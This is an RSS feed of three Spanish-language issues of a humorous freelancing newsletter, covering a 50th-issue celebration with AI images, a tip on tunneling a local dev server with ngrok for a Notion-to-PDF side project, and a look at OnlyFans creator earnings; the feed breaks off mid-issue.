<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Vivir del cuento y no morir en el intento</title>
    <description>Un brain-dump semanal que uso como terapia para no volverme loco mientras navego el curioso mundo de ganar dinero sin tener jefes. Reflexiones personales, anécdotas irrelevantes, escritura libre y a veces, pocas, también MVPs, programación y marketing online</description>
    
    <link>https://cuento.beehiiv.com/</link>
    <atom:link href="https://rss.beehiiv.com/feeds/6EyVnwAB9d.xml" rel="self"/>
    
    <lastBuildDate>Thu, 16 Jul 2026 21:46:01 +0000</lastBuildDate>
    <pubDate>Wed, 20 Sep 2023 09:00:00 +0000</pubDate>
    <atom:published>2023-09-20T09:00:00Z</atom:published>
    <atom:updated>2026-07-16T21:46:01Z</atom:updated>
    
      <category>Humor</category>
      <category>Freelancing</category>
      <category>Startups</category>
    <copyright>Copyright 2026, Vivir del cuento y no morir en el intento</copyright>
    
    <image>
      <url>https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/publication/logo/4d860ed3-a32b-4476-acf5-761a38224a95/book-cute-icon-bag-money-line-color-Graphics-11143268-1-580x387.jpg</url>
      <title>Vivir del cuento y no morir en el intento</title>
      <link>https://cuento.beehiiv.com/</link>
    </image>
    
    <docs>https://www.rssboard.org/rss-specification</docs>
    <generator>beehiiv</generator>
    <language>en-us</language>
    <webMaster>support@beehiiv.com (Beehiiv Support)</webMaster>

      <item>
  <title>#50 - Medio siglo, bro</title>
  <description>Ah no, que son semanas, no años. Se me está haciendo largo pues. Pues que le den.</description>
  <link>https://cuento.beehiiv.com/p/50-medio-siglo-bro</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/50-medio-siglo-bro</guid>
  <pubDate>Wed, 20 Sep 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-09-20T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Qué pasa figuras. Cómo va ese miércoles. <i>Dimecres</i> pa’ los amigos. <i>Dies Mercurii</i> pa los latinos. Los del <i>gladius </i>y el <i>pilum</i>, no los de los <i>totopos</i> y el <i>ceviche.</i></p><p class="paragraph" style="text-align:left;">Los de <i>Lacio</i>, para que me entiendas. <i>Lazio</i> para los de allá. Ahora. Antes <i>Latium</i>.</p><p class="paragraph" style="text-align:left;">Vamos, los putos romanos.</p><p class="paragraph" style="text-align:left;">El caso que buenos miércoles.</p><p class="paragraph" style="text-align:left;">Es que mira que os gusta complicarlo todo. Yo aquí cincuenta semanas dale que te pego, que si ordenadores, que si followers, que si pobreza energética. Y vosotros erre que erre con los <i>totopos</i>.</p><p class="paragraph" style="text-align:left;">Puta vida los <i>totopos</i>, ¿no? Qué obsesión tenéis.</p><p class="paragraph" style="text-align:left;">O igual me lo estoy imaginando yo. Llámame loco.</p><p class="paragraph" style="text-align:left;">A ver que imaginándomelo yo seguro que estoy. Porque esto es todo producto de mi imaginación.</p><p class="paragraph" style="text-align:left;">O de la imaginación de <i>otro</i>. Ahí es nada.</p><p class="paragraph" style="text-align:left;">Nada.</p><p class="paragraph" style="text-align:left;">Nada es real. Todo es virtual. La simulación. El simulacro. El símbolo. La simbiótica.</p><p class="paragraph" style="text-align:left;">Simbiosis. Sinergia.</p><p class="paragraph" style="text-align:left;">Equipo multidisciplinar.</p><p class="paragraph" style="text-align:left;"><i>Ergo totopos</i>.</p><p class="paragraph" style="text-align:left;">¿Qué mierdas es un <i>totopo</i>? ¿Una mierda de licántropo?</p><p class="paragraph" style="text-align:left;">No. Esto. Es esto. La Superinteligencia me dice que es esto.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/b5599ca1-146d-4d96-9a23-25e5bbed96d5/DALL_E_2023-09-19_16.23.18_-_the_head_of_this_neon_woman.png"/><div class="image__source"><span class="image__source_text"><p>Yo esto no me lo como. Como mucho me lo ffffffffffffffffffffffunambulista.</p></span></div></div><p class="paragraph" style="text-align:left;">Y dada esta coyuntura, encontrándonos en este punto de no retorno, este exabrupto del espacio tiempo, veo mi mano forzada por El Creador y me precipito hacia la conclusión inexorable respecto a lo que ahora hubiera o hubiese de acontecer.</p><p class="paragraph" style="text-align:left;">Vamos a celebrar. El 50 cumpleaños de <i>Vivir del cuento y no morir en el intento</i>.</p><p class="paragraph" style="text-align:left;">Dentro vídeo.</p><h1 class="heading" style="text-align:left;">[ADD CONTENT HERE]</h1><p class="paragraph" style="text-align:left;">Hoy no hay contenido. Hoy no hay nada.</p><p class="paragraph" style="text-align:left;">Hay IA. Pero no me apetece hablar de IA. Me apetece bien poco hablar de eso.</p><p class="paragraph" style="text-align:left;">Me apetece poco hablar de lo de siempre.</p><p class="paragraph" style="text-align:left;">Me apetece poco hablar.</p><p class="paragraph" style="text-align:left;">Me apetece poco. Todo. Y esta newsletter, más</p><p class="paragraph" style="text-align:left;">Hablar de negocietes quieras que no se hace pesado. Para vosotros, y para mi. Porque no suelen ir a ningún lado. Y además el comentarlo no es productivo porque no me compráis mis mierdas, ni las vais a comprar nunca.</p><p class="paragraph" style="text-align:left;">Aquí somos colegas. No clientes y proveedores.</p><p class="paragraph" style="text-align:left;">Vaya, que no sois mi público objetivo. El teórico.</p><p class="paragraph" style="text-align:left;">La gente escribe <i>sobre cosas</i> para <i>vender cosas</i>. Yo hago newsletters <i>sobre cosas</i> para escribir. Simplemente para obligarme a escribir.</p><p class="paragraph" style="text-align:left;">Pero para escribir no hace falta que hayan <i>cosas</i>. Hace falta poner letras una detrás de otra. No hace falta un horario. Hacen falta <i>ganas</i>.</p><p class="paragraph" style="text-align:left;">No tengo ganas ahora.</p><p class="paragraph" style="text-align:left;">Así que celebremos las 50 newsletters sudando soberanamente de la temática teórica.</p><p class="paragraph" style="text-align:left;">Cerrando un ciclo. Mirando hacia delante.</p><p class="paragraph" style="text-align:left;">Vamos a celebrarlo, como decía antes, con mierdas de IA. Pero ninguna útil.</p><p class="paragraph" style="text-align:left;">Este será el contenido de hoy.</p><p class="paragraph" style="text-align:left;">Mierdas inútiles. Imágenes evocadoras. Hoy la newsletter es una <i>newsgalería de desvaríos</i>.</p><div class="blockquote"><blockquote class="blockquote__quote"></blockquote></div><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/fa9ed2be-8873-4ce9-9412-b4f37cadd65b/DALL_E_2023-09-19_16.38.41.png"/></div><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/927cddf9-c26b-462b-8bde-da0735ef4a01/_2b576a27-a579-4162-b41f-83d27da0ebad.jpeg"/></div><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/4f40b8be-28a0-4de5-8d50-7964cb403b49/_13fc747d-dacb-4fcb-9c93-2078e8fde9f9.jpeg"/></div><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/b13a2db2-3bfe-407a-ad0e-4d8ed0b59963/_180b5842-39ea-4df6-a9ec-4287386ed803.jpeg"/></div><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/3d066c01-59fe-4390-ad47-94da6bcc89d3/_789fb841-d7b9-4664-884c-f6d47272987c.jpeg"/></div><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/ecefdbb9-f28f-4ec8-bd6a-c3f8236ea267/_b29103ef-d513-4eaf-96e0-bfe7a64c65b6.jpeg"/></div><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/8a51b41e-6ceb-412b-b7a1-98cd57bce819/_da0c4628-9d5c-481f-8c7f-a03c5678e843.jpeg"/></div><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/709b3938-3bd7-42f5-8557-ace9a966f5d5/_e76512f3-3be2-4fdb-8d32-09f1d75cc051.jpeg"/></div><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/c2ee3295-9d05-4b60-b985-daca1d75290c/_c002d24a-139e-4cc1-8047-8a369a4d55f0.jpeg"/></div><h1 class="heading" style="text-align:left;">Fin</h1><p class="paragraph" style="text-align:left;">50 newsletters.</p><p class="paragraph" style="text-align:left;">Una pausa, entre las 30 y la 31.</p><p class="paragraph" style="text-align:left;">Toca otra pausa entre la 60 y la 61. Pero los 40 son los nuevos 30.</p><p class="paragraph" style="text-align:left;">Sumo, resto, me llevo una y tiro porque me toca.</p><p class="paragraph" style="text-align:left;">De puente y tiro porque me lleva la corriente.</p><p class="paragraph" style="text-align:left;">Pero el río está seco y los peces agonizan en un charco de lodo pidiendo clemencia a Dios.</p><p class="paragraph" style="text-align:left;">Y es por eso que hasta aquí hemos llegado. Otra vez.</p><p class="paragraph" style="text-align:left;">La semana que viene no habrá newsletter. Habrá el vacío de tamaño cero que será la ausencia de esa sutil línea en tu buzón.</p><p class="paragraph" style="text-align:left;">Toca pausa para respirar.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto. Pero aquí, no.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/ccbb86b5-3817-4e16-9fb9-bd2964f0ea0d/_3ee10810-f4d4-4aa6-9d19-e0de32ba21b9.jpeg"/></div><p class="paragraph" style="text-align:left;">PS: Háblale a la pipa. La pipa es Twitter. O mejor una mesa de madera bajo luces de neón barato con una cerveza en la mano.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=7e694f03-5bed-45ae-954a-bf19bc66dc76&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#49 - Heliópolis</title>
  <description>Hablamos de lanzar productos gratis, usar túneles para hacerlo y de paso sobre personajes de ficción</description>
  <link>https://cuento.beehiiv.com/p/49-heliopolis</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/49-heliopolis</guid>
  <pubDate>Wed, 13 Sep 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-09-13T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Buenos miércoles y <i>guélcom</i> a la humilde morada de este <i>juntaletras</i> de mierda que se entretiene como puede yendo de <i>empresaurio</i> y soltando sandeces a discreción.</p><p class="paragraph" style="text-align:left;">O dicho de otro modo, bienvenidos y bienvenidas a la newsletter de esta semana.</p><p class="paragraph" style="text-align:left;">En esta hablaremos de cosas catódicas, cosas <i>tunélicas</i> y cosas antivirales.</p><p class="paragraph" style="text-align:left;">Vamos al lío.</p><h1 class="heading" style="text-align:left;">📺 La caja tonta</h1><p class="paragraph" style="text-align:left;">Hay un término en inglés que me encanta. <i>Retconning</i>. Lo traducen por estas latitudes como <i>retrocontinuidad</i>.</p><p class="paragraph" style="text-align:left;">Su versión sabor vainilla es la <i>continuidad</i> normal, algo que suele ser útil en cualquier obra de ficción: que la cosa tenga sentido temporal. Que, si un señor es ametrallado en primer plano durante el capítulo tercero de la serie, no se le vea el el quinto tomándose un café con leche. Que si en la página 47 el héroe blande una espada, no derive en ukelele en la 48.</p><p class="paragraph" style="text-align:left;">Pues la retrocontinuidad es cuando el autor arregla la continuidad a toro pasado. Metiendo con calzador una explicación tardía a un fallo de continuidad, un viraje de guión o un hecho inexplicado en el argumento.</p><p class="paragraph" style="text-align:left;">Como aquella historia de islas y números y humos negros que retuercen hasta el absurdo de tal manera que la única escapatoria ontológica es acabar la serie diciendo que era todo producto de un mal viaje de perro de Los Serrano al que se le había ido la mano con la mescalina.</p><p class="paragraph" style="text-align:left;">O algo así era.</p><p class="paragraph" style="text-align:left;">Son <i>retconning</i> los midiclorianos de Star Wars, Akira Toriyama diciendo que GT no es canon para vender Super, o que volviera en Fast & Furious 5 el coreano que acaba <i>crispy</i> al explotar su coche en <i>Tokyo Drift</i>.</p><p class="paragraph" style="text-align:left;">Es <i>retconning</i> Matrix Resurrections en su totalidad, donde detonan la ya endeble continuidad de la saga introduciendo un puñado de fumadas inconexas y elevando todo el tinglado a barrizal de plastidecor y purpurina indigerible.</p><div class="image"><img alt="The Matrix GIF" class="image__image" style="" src="https://media3.giphy.com/media/M3fYVlu7YN9Hq/giphy.gif?cid=2450ec30gh1d89uf9cddxhdgfdtda689w2skq81b5fnqwmga&ep=v1_gifs_search&rid=giphy.gif&ct=g"/><div class="image__source"><a class="image__source_link" href="http://entediadoateamorte.tumblr.com/post/63229943111/ignorance-is-bliss-the-matrix-dir-the?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=49-heliopolis" rel="noopener" target="_blank"><span class="image__source_text"><p>Basado y azulpastillado</p></span></a></div></div><p class="paragraph" style="text-align:left;">Pues el caso es que me encanta el término. Tanto que lo aplico a mi vida diaria también.</p><p class="paragraph" style="text-align:left;">Por ejemplo, no es que mi compi tuviese razón con que no conseguiría hacer los 30 días de ejercicio diario. Es que <i>obviamente</i> durante las vacaciones no cuenta.</p><p class="paragraph" style="text-align:left;">No es que haya dejado empantanado lo de hacer la caseta de la terraza porque me he aburrido del tema y estoy a otras cosas. Es que resulta que necesitaba pensar como resolver una parte y ahora que lo he hecho es cuando toca acabarla.</p><p class="paragraph" style="text-align:left;">No es que esté aquí el martes a última hora escribiendo la newsletter porque ni me acordaba.</p><p class="paragraph" style="text-align:left;">Es que yo siempre he creído que a uno tiene que venirle la inspiración. Y estaba esperando atentamente.</p><p class="paragraph" style="text-align:left;">Ahora bien, eso sí.</p><p class="paragraph" style="text-align:left;">Ya lo decía Picasso.</p><p class="paragraph" style="text-align:left;">La inspiración existe. Pero tiene que pillarte trabajando.</p><p class="paragraph" style="text-align:left;">Igual ese ha sido el problema.</p><h1 class="heading" style="text-align:left;">💾 Tech Tip - <i>ngrok</i></h1><p class="paragraph" style="text-align:left;">Hace unos días saqué un mini-producto. Bueno, producto es palabra demasiado amable. Llamémoslo <i>cosa online</i>. Porque es gratis. Y escaso en su esencia.</p><p class="paragraph" style="text-align:left;">Es caso (sic) es que estaba intentando sacar en PDF una página de Notion, un presupuesto, y daba pena de verlo. Notion imprime cutre, qué le vamos a hacer.</p><p class="paragraph" style="text-align:left;">Así que me puse un par de horas y monté <a class="link" href="http://pdftion.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=49-heliopolis" target="_blank" rel="noopener noreferrer nofollow">pdftion.com</a>, un <i>imprimidor </i>de páginas de Notion.</p><blockquote align="center" class="twitter-tweet"><a href="https://twitter.com/adlpz/status/1698971859247661525?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=49-heliopolis"><p> Twitter tweet </p></a></blockquote><p class="paragraph" style="text-align:left;">Como cualquier cosa que imprime webs y similares hoy en día, esto funciona simulando un navegador, un Google Chrome, y usando el <i>imprimir a PDF</i> que viene de serie. Como hace falta ejecutar un Chrome, no puede hacerse en los típicos deploys <i>serverless</i> que yo uso, como Vercel o Netlify.</p><p class="paragraph" style="text-align:left;">Por suerte hay un servicio, <a class="link" href="http://browserless.io?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=49-heliopolis" target="_blank" rel="noopener noreferrer nofollow">browserless.io</a>, que te permite ejecutar <a class="link" href="https://pptr.dev?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=49-heliopolis" target="_blank" rel="noopener noreferrer nofollow">Puppeteer</a> a través de API e imprimir a PDF. Muy cómodo. Y con un <i>free tier</i> de 1000 peticiones al mes que me da de sobra para echar el balón a rodar.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/747e9fd8-29b1-474a-ab6c-8c7c9c7114c5/Screenshot_2023-09-12_at_16.37.10.png"/><div class="image__source"><span class="image__source_text"><p>Podría ser peor</p></span></div></div><p class="paragraph" style="text-align:left;">Montando todo esto me surgió un problema. La API de web → pdf de <a class="link" href="http://browserless.io?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=49-heliopolis" target="_blank" rel="noopener noreferrer nofollow">browserless.io</a> necesita que la web… exista. Y no puedo apuntarlo directo a Notion, se vería raro. O igual de mal que imprimiendo directo de Notion. Lo que tengo que hacer es <i>renderizar</i> yo la página controladamente, ocultando cosillas que molestan y toqueteando el CSS para que se vea bonito. </p><p class="paragraph" style="text-align:left;"><i>Eleven herbs and spices</i> y tal.</p><p class="paragraph" style="text-align:left;">Y entonces hacer que imprima <i>eso</i>. Pero durante el desarrollo <i>eso</i> está en <i>localhost</i>. ¿Cómo lo hago?</p><p class="paragraph" style="text-align:left;">Pues aquí entra la herramienta del título: <a class="link" href="http://ngrok.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=49-heliopolis" target="_blank" rel="noopener noreferrer nofollow">ngrok.com</a>.</p><p class="paragraph" style="text-align:left;">Ngrok es una herramienta comercial. Había una versión 1.x <i>open source</i> hace años. <a class="link" href="https://github.com/anderspitman/awesome-tunneling?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=49-heliopolis#open-source-at-least-with-a-reasonably-permissive-license" target="_blank" rel="noopener noreferrer nofollow">Y hay un montón de alternativas </a><i><a class="link" href="https://github.com/anderspitman/awesome-tunneling?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=49-heliopolis#open-source-at-least-with-a-reasonably-permissive-license" target="_blank" rel="noopener noreferrer nofollow">open source</a></i> actualmente. Pero ngrok va tan fino que para uso ocasional no vale la pena complicarse.</p><p class="paragraph" style="text-align:left;">Lo que hace esta herramienta <b>es exponer un puerto local de un ordenador</b> en un dominio público. Hace un túnel, vamos. Por ejemplo si tenemos un proyecto rulando en local, en <i>localhost:8000</i> por ejemplo, y queremos acceder des de internet, hacemos:</p><div class="codeblock"><pre><code>ngrok http 8000</code></pre></div><p class="paragraph" style="text-align:left;">Y recibimos una URL, con TLS y todo, en puerto 80/443, donde mágicamente está nuestro servicio disponible.</p><div class="codeblock"><pre><code>ngrok                                                                       (Ctrl+C to quit)

    Session Status                online
    Account                       inconshreveable (Plan: Free)
    Version                       3.0.0
    Region                        United States (us)
    Latency                       78ms
    Web Interface                 http://127.0.0.1:4040
    Forwarding                    https://84c5df439d74.ngrok-free.dev -&gt; http://localhost:8000

    Connections                   ttl     opn     rt1     rt5     p50     p90
                                  0       0       0.00    0.00    0.00    0.00</code></pre></div><p class="paragraph" style="text-align:left;">Y hay más. ¿Quieres que el acceso sea más seguro? <code>—-basic-auth &#39;user:password&#39;</code> y arreglado. ¿Esto irá integrado en un servicio que hablará OAuth? Métele SSO con Google añadiendo <code>—-oauth Google</code>.</p><p class="paragraph" style="text-align:left;">Habrás visto también que el primer comando dice <code>http</code>. Y es que no sólo puede tunelar <code>http</code>. Si tu servicio ya habla tls, usa <code>tls</code>. Si es cualquier servicio arbitrario, usa <code>tcp</code>.</p><p class="paragraph" style="text-align:left;">Ah, y si no puedes instalar el <i>cli</i> de <code>ngrok</code>, puedes hacer todo esto con <code>ssh</code>. Sube tu clave pública en los <i>settings</i> y haces:</p><div class="codeblock"><pre><code>ssh -R 443:localhost:8000 v2@connect.ngrok-agent.com http</code></pre></div><p class="paragraph" style="text-align:left;">Que sería equivalente al comando <code>ngrok http 8000</code> del principio.</p><p class="paragraph" style="text-align:left;">Estos de ngrok no me pagan nada así que hasta aquí el <i>fanboyeo</i>. Os lo recomiendo. Me ha resultado útil para este tema y cada vez se me ocurren más formas de solucionar pequeñas incomodidades del <i>dev</i> diario con ngrok.</p><p class="paragraph" style="text-align:left;"><i>Not bad</i>.</p><h1 class="heading" style="text-align:left;">🖨️ <a class="link" href="http://Pdftion.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=49-heliopolis" target="_blank" rel="noopener noreferrer nofollow">Pdftion.com</a></h1><p class="paragraph" style="text-align:left;">Esto es sección #BuildInPublic. Pero va con lo de antes.</p><p class="paragraph" style="text-align:left;">Ya os he contado de que va el miniproyecto. No hay opción a que me de de comer. Pero lo que sí hay es opción a que se medio-pseudo-viralice entre los entendidos Notioneros y me de un poco de <i>paid with exposure</i>.</p><p class="paragraph" style="text-align:left;">Podría ser peor.</p><p class="paragraph" style="text-align:left;">El caso es que mi estrategia ha sido hacer un poco de spam por ahí. En algunas comunidades de indie hackers, Slacks varios, etcétera. Y en Twitter, como siempre.</p><p class="paragraph" style="text-align:left;">¿Ha funcionado? Pues a cierre de esta edición, más bien poco. Pero bueno, veremos si la cosa se anima.</p><p class="paragraph" style="text-align:left;">Pero como lo del <i>buildear en public</i> va tanto de éxitos como de fracasos, lo comparto con vosotros.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/10a1212e-3a6b-49fd-806d-ef1505b8a35c/Screenshot_2023-09-12_at_22.20.21.png"/></div><p class="paragraph" style="text-align:left;">Si queréis hacerme feliz echadle un ojo a la herramienta y si os gusta dadle a <i>upvote</i> en Product Hunt. Con suerte llegamos a 10 y me dan un pin del Benito Villamarín.</p><div class="embed"><a class="embed__url" href="https://www.producthunt.com/posts/pdftion?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=49-heliopolis" target="_blank"><div class="embed__content"><p class="embed__title"> PDFtion - Better Notion to PDF export. For free | Product Hunt </p><p class="embed__description"> Here&#39;s the deal. The default Notion export to PDF is kind of ugly. It shows the properties table, text is huge, there&#39;s the scaling thing but doesn&#39;t really work that well. It&#39;s a mess. This is a better Notion to PDF than Notion&#39;s own. And it&#39;s free. </p><p class="embed__link"> www.producthunt.com/posts/pdftion </p></div><img class="embed__image embed__image--right" src="https://ph-files.imgix.net/c6d469e8-1ace-4e4c-8994-38abab7bf3b7.png?auto=format&fit=crop&frame=1&h=512&w=1024"/></a></div><h1 class="heading" style="text-align:left;">👋 Y con estoy un bizcocho…</h1><p class="paragraph" style="text-align:left;">…hasta el miércoles que viene a las once.</p><p class="paragraph" style="text-align:left;">Vale, que no rima, pero bueno, <i>haber estudiao</i>.</p><p class="paragraph" style="text-align:left;">Esta semana es la primera de vuelta al cole, la primera <i>en serio</i> de vuelta al curro, y además el fin de semana me lo he pasado remojado en el <i>Millars</i> haciendo kayak y bebiendo cerveza así que, quieras que no, no tengo todavía los chakras machihembrados.</p><p class="paragraph" style="text-align:left;">Recemos para que la gravedad ponga los asuntos en su sitio y la semana que viene venga con <i>mandanguita</i> de la buena que restregaros por la cara. O cosas interesantes, lo que llegue antes.</p><p class="paragraph" style="text-align:left;">El caso, que a la próxima, más.</p><p class="paragraph" style="text-align:left;">Viva el Betis manque pierda.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p><p class="paragraph" style="text-align:left;"></p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=7316483d-5914-4fbe-814a-bfd39c59f25d&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#48 - Progressive JPEG</title>
  <description>Contenido cuestionable, cuenta contable, coste colateral</description>
  <link>https://cuento.beehiiv.com/p/48-progressive-jpeg</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/48-progressive-jpeg</guid>
  <pubDate>Wed, 06 Sep 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-09-06T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Buenos miércoles. Esta sí, que la anterior con la emoción de los GIFs se me pasó celebrar que ya es día de newsletter y por tanto de jolgorio y celebración.</p><p class="paragraph" style="text-align:left;">Hoy traigo calentito del horno material vario y disperso para alegrarte el momento del bocadillo con contenido <i>top shelf</i>. En concreto, hablaremos de la <i>creator economy</i> en versión cristales empañados de un Ford Fiesta. También de ser más eficiente en la línea de comandos, y como siempre de mis avances en el vivir del cuento.</p><p class="paragraph" style="text-align:left;">Y sí. También sobre mi impresora nueva 🖨️.</p><p class="paragraph" style="text-align:left;">Vamos a ello.</p><h1 class="heading" style="text-align:left;">Vamos a hablar de <i>marranás</i> 💦</h1><p class="paragraph" style="text-align:left;">La <i>creator economy</i>. Dícese de la <i>nueva economía</i> en la que los nuevos actores principales son los creadores <b>de contenido</b>. En un mundo ha sido inundado de productos baratos y desechables. Lo material es <i>passé</i>. Ahora manda lo legible. Lo visualizable. Lo escuchable.</p><p class="paragraph" style="text-align:left;">Hasta <i>lo pajeable</i> y todo, oiga. 🍆.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/edb0d3a3-4056-48ef-b120-512049cbe4c1/7VcZ.gif"/><div class="image__source"><span class="image__source_text"><p>La suciedad está en tu mente</p></span></div></div><p class="paragraph" style="text-align:left;">Leyendo la semana pasada <a class="link" href="https://www.estrategiadeproducto.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">la newsletter de Simón Muñoz</a> nos apuntaba al caso de OnlyFans, el Substack que sustituye letras por culos. En el ejercicio fiscal de 2022 ha repartido unos 4.500.000.000 dólares a sus creadores (siendo específico, mayormente creador<b>as</b>. Alrededor del 70-90% según varios análisis).</p><p class="paragraph" style="text-align:left;">Eso son muchos ceros. Y muchos culos, sí. Ah, y su dueño se ha adjudicado un modesto dividendo de $338 millones <i>pa la saca</i>.</p><p class="paragraph" style="text-align:left;">Parecería que la cosa va como un tiro, ¿no? Pues Simón nos hace un cálculo rápido. Hay casi 3,2 millones de creadores en OnlyFans. Si repartimos, sale a menos de $120/mes por creador.</p><p class="paragraph" style="text-align:left;">No está mal. Pero no da para vivir. Estás vendiendo tu imagen, para siempre, irreversiblemente, en un contexto del que te puedes arrepentir en el futuro, por cuatro duros. No voy a venir yo ahora de moralista ni a estigmatizar ningún estilo de vida. Pero quedar plastificado indeleblemente en internet restregándote una lubina a la sal en el entretete, o lo que sea que hagas, por el equivalente a tres o cuatro horas de freelancing en Fiverr me resulta… desaconsejable.</p><p class="paragraph" style="text-align:left;">Y la realidad es todavía peor. El artículo citado en la newsletter, <a class="link" href="https://xsrus.com/the-economics-of-onlyfans?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow"><i>The economics of OnlyFans</i></a>, lo pinta crudo: El top 10% se está llevando el 73% de toda la pasta. Repito: hay unas 300k personas que se están llevando de media $850/mes por exhibirse online. Una media de por si extremadamente engañosa ya que sabemos que las cuentas más top tienen ingresos de $100k e incluso $1M al mes. Y los demás casi tres millones de creadores <b>promedian menos de $35/mes</b>.</p><p class="paragraph" style="text-align:left;">En la newsletter de Simón, que os recomiendo, nos lleva por el camino de entender lo que 